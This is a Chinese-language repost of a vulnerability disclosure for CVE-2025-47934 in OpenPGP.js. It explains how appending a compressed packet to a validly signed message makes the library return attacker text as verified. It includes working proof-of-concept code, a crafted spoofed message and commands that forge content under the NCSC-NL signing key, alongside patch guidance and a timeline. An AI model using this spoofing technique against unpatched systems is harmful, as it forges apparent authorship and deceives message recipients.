OpenPGP.js 是一个基于 RFC 9580 标准的 JavaScript 库,支持消息加密(对称和非对称)、签名及密钥管理,广泛应用于支持加密的网页邮件客户端。然而,该漏洞源于 OpenPGP.js 对畸形数据包列表的错误解析。例如,攻击者可以将一个合法签名消息(包含 One-Pass Signature、Literal Data 和 Signature 数据包)附加一个恶意 Compressed Data 数据包(包含伪造内容),尽管这不是有效的 PGP 消息格式,OpenPGP.js 仍会接受并返回恶意内容作为签名数据。
技术细节
-
解析漏洞:openpgp.readMessage() 和 PacketList.read() 在流式处理数据包时,仅读取支持流式传输的数据包(如 Literal Data),导致后续恶意数据包未被及时检查。
-
验证错误:Message.verify() 和 unwrapCompressed() 的逻辑设计缺陷,使得签名验证基于合法数据,而最终返回的 result.data 却来自恶意数据包。
-
加密消息影响:openpgp.decrypt() 结合解密和验证时,同样受影响,返回的 data 为恶意内容,而签名验证仍基于原始数据。
攻击演示
Codean Labs 提供了详细的证明-of-concept(PoC),通过 Python 脚本(如 generate_spoofed_message.py)和 JavaScript 验证程序,展示了如何利用合法签名生成伪造消息。例如:
-
从合法签名消息中提取签名,附加恶意内容后生成伪造消息。
-
针对荷兰国家网络安全中心(NCSC)的公开签名文件,伪造出“来自 Codean Labs 的问候”内容,并通过验证。
这是CVE-2025-47934的说明,它是 Codean Labs 发现的 OpenPGP.js 漏洞,已在 v5.11.3 和 v6.1.1 中修补。
在获得目标作者(“Alice”)的有效签名后,攻击者可以利用此漏洞“伪造”Alice的任意签名(即使是加密消息),即使其(在OpenPGP.js用户看来)看起来像是Alice签署了任意消息。鉴于这是PGP的核心原则,会直接影响某些集成应用程序,因此整体风险被认为非常高。
本文解释了这是如何实现的,并在最后提供了概念证明。
介绍
OpenPGP.js 库提供了RFC 9580中指定的 OpenPGP 标准的实现。如果您曾经使用过加密电子邮件或签名的 git 提交,您可能对此标准很熟悉。从高层次上讲,OpenPGP 标准支持消息加密(对称和非对称)、消息签名以及密钥管理功能。
使用 OpenPGP.js,可以用 JavaScript 实现所有这些功能。许多支持加密的 Web 电子邮件客户端都使用了 OpenPGP.js,包括 Mailvelope 和 Proton Mail(尽管后者未受此问题影响)。
OpenPGP消息格式
所有 PGP 有效载荷(消息、分离签名和密钥)都仅由一系列数据包组成,没有总体报头。这些数据包遵循标准定义的相对简单但自定义的二进制协议。生成的二进制有效载荷可以按原样发送,但通常经过 base64 编码,从而形成“ASCII 封装”的有效载荷,例如:
-----BEGIN PGP MESSAGE-----owGbwMvMwCV2JXpbW1xI0SnG0zxJDBkOns8zUnNy8rk6SlkYxLgYZMUUWWJ1LuTu9HFSqpFcxgtTzcoEUsrAxSkAE4nSYPgrzdL1bQ1bvfG9h44/3Dtkk7njvjC9XHE/2kzwLeOV+vTNjAyHZt4/96P3wN0H7x7Y79oondUbIc6a+Onj3578CtEn4Xu5AQ===0dLq-----END PGP MESSAGE-----
该签名消息由以下数据包组成:
压缩数据包:本身包含一个ZIP压缩包列表:
-
一次签名包:一个可选包,其中包含(除其他内容外)所使用的哈希算法,因此验证者可以开始对后续数据进行哈希处理。
-
文字数据包:包含消息“hello”。
-
签名包:包含其之前数据哈希值的加密(EdDSA)签名。
此结构具有相当大的灵活性。例如,封装压缩数据包完全是可选的。或者,内部的文字数据包可以用压缩数据包替换,其中包含更多数据包,例如属于加密消息或其他签名的数据包。允许的数据包结构已在标准(RFC 9580,第 10.3 节)中定义的语法规则中正式化。
无效的数据包列表
现在让我们考虑一个具有以下数据包列表的 PGP 消息,其中数据包 1-3 组成合法的签名消息,但添加了第四个数据包:
-
一次通过签名包
-
文字数据包(“合法”)
-
签名包(对包 1 有效)
-
压缩数据包,包含文字数据包(“恶意”)
-
由于末尾存在一个压缩数据
包,因此这不是一条有效的 OpenPGP 消息。 然而,事实证明,OpenPGP.js 不仅接受了该消息并将其视为有效,还在验证签名是否合法的同时,将“恶意”数据作为签名数据返回!
为了证明这一点,让我们采用一个简单的验证程序,类似于官方文档中给出的程序,并将我们特有的数据包列表作为消息传递给它:
const openpgp = require('openpgp');(async () => {// Generated using:// cat \// <(echo "legitimate" | gpg -s -z0) \// <(printf "\xc8\x12\0\xcb\x0f\x62\0\0\0\0\0malicious") \// | base64let armoredMessage = `-----BEGIN PGP MESSAGE-----kA0DAAoW1Fu2hl5UcsoByxFiAGhBNptsZWdpdGltYXRlCoh1BAAWCgAdFiEEXSzQbblMQiJ8GaYN1Fu2hl5UcsoFAmhBNpsACgkQ1Fu2hl5UcsqE0QD/bsWYHJrrrK8RM8VgB4Z3K64zWfp49BOi+x0s9VJKyRoBALJdQhGzPwCERCANPR+KdX5ZdrX54ZpY9mriFG6O4hsFyBIAyw9iAAAAAABtYWxpY2lvdXM=-----END PGP MESSAGE-----`;// public key of [email protected]const publicKeyArmored = `-----BEGIN PGP PUBLIC KEY BLOCK-----mDMEZSAfBhYJKwYBBAHaRw8BAQdAfdgd2yxL+pYN91ENyp/VZVdWXLjYDONG47jM4dDZDMG0IFRob21hcyBSaW5zbWEgPHRob21hc0Bjb2RlYW4uaW8+iI8EExYIADcWIQRdLNBtuUxCInwZpg3UW7aGXlRyygUCZSAfBgUJBaOagAIbAwQLCQgHBRUICQoLBRYCAwEAAAoJENRbtoZeVHLKpvIBANiaDeLPyaQyHkuzB8T6ZqvfJi4dXNlsqT2FdlUUip4ZAQDSAljghQC9jAQu8I8yMrQJd4SXD1EMH+NLNNYCDEZCC7g4BGUgHwYSCisGAQQBl1UBBQEBB0DOFmUm2nMIda8PzTquulLLy/bFwDtSqAiK1EBqEdvbaAMBCAeIfgQYFggAJhYhBF0s0G25TEIifBmmDdRbtoZeVHLKBQJlIB8GBQkFo5qAAhsMAAoJENRbtoZeVHLKCE8BAJEXE6za1G6pFpaZWKBRMlCbBDSE4rc7iEn5MpC56WtQAQCnVhRNYBjQ7Bo/VX1rx2+6wx84EXOFmoW80F96QmN0Bw===Obk+-----END PGP PUBLIC KEY BLOCK-----`;const publicKey = await openpgp.readKey({ armoredKey: publicKeyArmored });const message = await openpgp.readMessage({ armoredMessage });const verificationResult = await openpgp.verify({ message, verificationKeys: publicKey });console.log(`Signed message data: ${verificationResult.data}`);const { verified, keyID } = verificationResult.signatures[0];try {await verified; // throws on invalid signatureconsole.log(`Verified signature by key id ${keyID.toHex()}`); } catch (e) {thrownewError(`Signature could not be verified: ${e.message}`); }})();
将以下内容打印到控制台:
Signed message data: maliciousVerified signature by key id d45bb6865e5472ca
这太糟糕了!这意味着攻击者可以使用受害者之前创建的任何有效签名,并在签名仍然有效的情况下用任何内容“替换”已签名的数据。
要了解为什么会发生这种情况,我们需要了解 OpenPGP.js 如何解析消息。
一个严重的错误
传入的 PGP 消息使用高级 API 进行解析openpgp.readMessage(),最终调用PacketList.read()。
将输入数据包列表转换为流后,PacketList.read()从流中读取初始数据包序列,直到遇到流的末尾或支持流式传输的数据包类型(supportsStreaming(value.constructor.tag)),例如文字数据包:
OpenPGP 数据包格式允许将包含任意长度数据的数据包类型拆分成多个块,并在其报头中使用“部分主体长度”进行区分。解析端需要一些逻辑来重新组合这些数据包,因此这就是supportsStreaming()所指的。
// Wait until first few packets have been readconst reader = streamGetReader(this.stream);while (true) {const { done, value } = await reader.read();if (!done) {this.push(value); } else {this.stream = null; }if (done || supportsStreaming(value.constructor.tag)) {break; } }
如果我们采用之前的恶意数据包列表,则意味着在本次循环之后(即调用 之后openpgp.readMessage()),消息的内部packets数组( 的一个实例PacketList)将仅包含数据包 1 和 2,即单次传递签名和文字数据(“合法”)数据包。其余数据包可能暂时不需要,因此仍待从数据包流中读取。
openpgp.verify()接下来,用户对 返回的消息对象调用高级 API openpgp.readMessage()。这将调用内部方法Message.verify(),其启动方式如下:
async verify(verificationKeys, date = newDate(), config = defaultConfig) {const msg = this.unwrapCompressed(); // (1)const literalDataList = msg.packets.filterByTag(enums.packet.literalData);if (literalDataList.length !== 1) {thrownewError('Can only verify message with one literal data packet.'); }if (isArrayStream(msg.packets.stream)) { msg.packets.push(...await streamReadToEnd(msg.packets.stream, _ => _ || [])); // (2) }const onePassSigList = msg.packets.filterByTag(enums.packet.onePassSignature).reverse();const signatureList = msg.packets.filterByTag(enums.packet.signature);// ...
为了进行签名验证,此函数从消息中获取文字数据包 ( literalDataList) 和签名数据包 ( )。 由于数据包列表可能尚未从流中完全检索到(就像我们的有效载荷一样),因此会调用 将所有剩余的数据包读入数组 (2)。关键在于,此操作发生在使用 (1) 获取自身之后。signatureList
streamReadToEnd()msg.packets msgthis.unwrapCompressed()
这是一个辅助方法,它要么返回找到的第一个压缩数据包内的数据包列表,要么在没有找到压缩数据包的情况下仅返回this(原始数据包列表):
unwrapCompressed() {const compressed = this.packets.filterByTag(enums.packet.compressedData);if (compressed.length) {returnnew Message(compressed[0].packets); }returnthis; }
此时,仍然仅由我们的有效载荷(一次传递签名和文字数据(“合法”))this.packets的数据包 1 和 2 组成,因此返回并将数据包 2 用作。thisliteralDataList
假设数据包 3 是数据包 2 的有效签名(“合法”),message.verify()则将成功并且控制流返回到openpgp.verify():
...if (signature) { result.signatures = await message.verifyDetached(signature, verificationKeys, date, config); } else { result.signatures = await message.verify(verificationKeys, date, config); } result.data = format === 'binary' ? message.getLiteralData() : message.getText(); ...
接下来,result.data设置为的输出message.getLiteralData()(或message.getText(),功能等效),这再次利用了unwrapCompressed():
getLiteralData() {const msg = this.unwrapCompressed();const literal = msg.packets.findPacket(enums.packet.literalData);return (literal && literal.getBytes()) || null; }
然而,这次msg.packets包含完整的数据包列表(由于streamReadToEnd()之前调用过),因此unwrapCompressed()将返回它遇到的第一个压缩数据包(数据包 4)的内容,这是攻击者插入的文字数据包(“恶意”)。
此时验证通过后,手动调用message.getText()也会返回恶意的LiteralData内容:
const message = await openpgp.readMessage({ payload });console.log(message.getText()); // prints "legitimate"const verificationResult = await openpgp.verify({ message, verificationKeys: publicKey });// verificationResult represents a valid signatureconsole.log(message.getText()); // prints "malicious"console.log(verificationResult.data); // prints "malicious"
这种逻辑显然是为了灵活处理压缩和未压缩的文字数据包。但似乎没有人考虑到这种格式错误的数据包列表!
加密消息
对于已签名并加密的消息,情况甚至更糟。高级 APIopenpgp.decrypt()将解密和验证结合在一起,并且通常(例如在官方示例代码中)从其输出中获取解密数据data,同时根据其signatures输出确定签名的有效性。
由于openpgp.decrypt()Just 函数在底层使用了相同的验证逻辑,因此存在同样的缺陷。因此,返回的data是攻击者控制的 Payload(“恶意”),而签名验证结果是基于原始 Payload 计算得出的(“合法”)。
const { data, signatures } = await openpgp.decrypt({ message, verificationKeys: publicKey decryptionKeys: privateKey});console.log(data); // prints "malicious"try {await signatures[0].verified;console.log('Signature is valid'); // prints "Signature is valid"} catch (e) {}
没有像 那样的应急出口openpgp.verify(),message.getText()可以在验证之前调用。唯一安全的用法是将解密和验证分开,分为两个不同的步骤,verificationKeys第一步不使用参数。
概念验证
从我们的 PoC 存储库下载这些文件。
https://github.com/codean-labs/pocs/tree/main/CVE-2025-47934%20(OpenPGP.js)
如上所示,构建恶意载荷只需获取一条现有的签名消息(必要时移除包装压缩),并附加一个包含恶意文字数据包的压缩数据包即可。为了方便添加任意恶意文本,我们编写了一个小型 Python 脚本 ( ),它可以为您生成数据包头,并打印出经过 ASCII 编码的伪造消息版本:generate_spoofed_message.py
$echo"hello world" | gpg -s -z0 > legit_signed_message.pgp$ python generate_spoofed_message.py legit_signed_message.pgp > spoofed_message.asc$ node validate_signature.js spoofed_message.asc <(gpg --export -a [email protected])Signed message data: maliciousVerified signature by key id d45bb6865e5472ca: Thomas Rinsma <[email protected]>
此外,extract_from_clearsign_and_spoof.py还展示了如何从明文签名的消息中提取签名包,并由此生成伪造消息。以下是荷兰国家网络安全中心 (NCSC) 的说法,完全合法。😉
# Extract victim's PGP key and a clear-signed message (security.txt in this case)$ wget https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2025/januari/06/pgp-key/pgp.txt$ wget https://www.ncsc.nl/.well-known/security.txt# Generate the spoofed message$ python extract_from_clearsign_and_spoof.py security.txt > spoofed_message.asc
$ node validate_signature.js spoofed_message.asc pgp.txtSigned message data: Hello from Codean Labs.Verified signature by key id cad4ceab247e705f: NCSC-NL 2025 <[email protected]>,NCSC-NL 2025 general information <[email protected]>
减轻
请将您的 OpenPGP.js 版本更新至 v5.11.3 或 v6.1.1,以缓解此漏洞的影响。如果您使用 Mailvelope 或其他间接使用 OpenPGP.js 的软件,也请务必更新。如果您直接使用 OpenPGP.js 且无法更新,维护人员发布的公告中也包含其他解决方法。
为了解决这个问题,开发人员已经开始实施严格的语法验证,以确保像我们的恶意数据包列表这样的无效消息尽早被拒绝。我们认为这是一个非常好的方法,因为它减少了攻击面,并且可能有助于防止将来再次出现类似问题。
时间线
-
2025-05-06 – 向 YesWeHack 上的 OpenPGP.js Bug Bounty 计划提交报告
-
2025-05-12 – 提供更多关于恶意payload的信息
-
2025-05-13 – 维护人员确认发现,开始协调修复
-
2025-05-19 – 分配 CVE-2025-47934,发布公告和修复
-
OpenPGP.js v5.11.3 和 v6.1.1 发布
-
Mailvelope v6.0.1 发布
-
2025-06-10 – 这篇博文已发布
原文始发于微信公众号(Ots安全):CVE-2025-47934 – 欺骗 OpenPGP.js 签名验证
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论